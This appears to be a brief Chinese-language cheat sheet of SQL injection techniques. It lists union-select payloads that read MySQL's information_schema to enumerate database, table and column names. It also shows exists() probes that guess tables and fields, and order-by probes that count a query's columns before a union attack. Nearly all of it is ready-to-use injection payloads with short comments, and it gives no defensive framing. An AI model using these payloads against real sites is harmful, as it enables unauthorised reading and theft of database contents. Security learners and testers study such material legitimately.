- Mysql5.0版本后 information_schema
union select 1,database() //查看数据库
union select 1,table_name from information_schema.tables where table_schema='xx' //查看xx数据库中表名
union select 1,column_name from information_schema.columns where table_name='x' //查看x表中的字段名
- Sql表单猜测:
exists()函数的运用
Select * from news where id=1 and exists(select * from test);
//猜测表test是否存在,存在返回true,不存在返回false;
Select * from news where id=1 and exists(select username from test)
//查询猜测表test中是否存在username字段。
- Sql字段猜测:
order by排序的运用
select * from news order by 3
//查询表中按第三个字段排序后的结果,如果表中不存在第三个字段,则返回false;
Union select联合查询
*查询的字段数(列数)必须相同
Select * from news union select * from test
//若test表字段与news表字段列数相同则查询成功。
Select * from news union select 1,2,3 test
Select * from news union select 1,id,title from test
//若字段数不同,可用数字代替多出的字段
Order by 常与 union 联合使用(Order by猜测出目标表字段数量,union再对目标针对查询)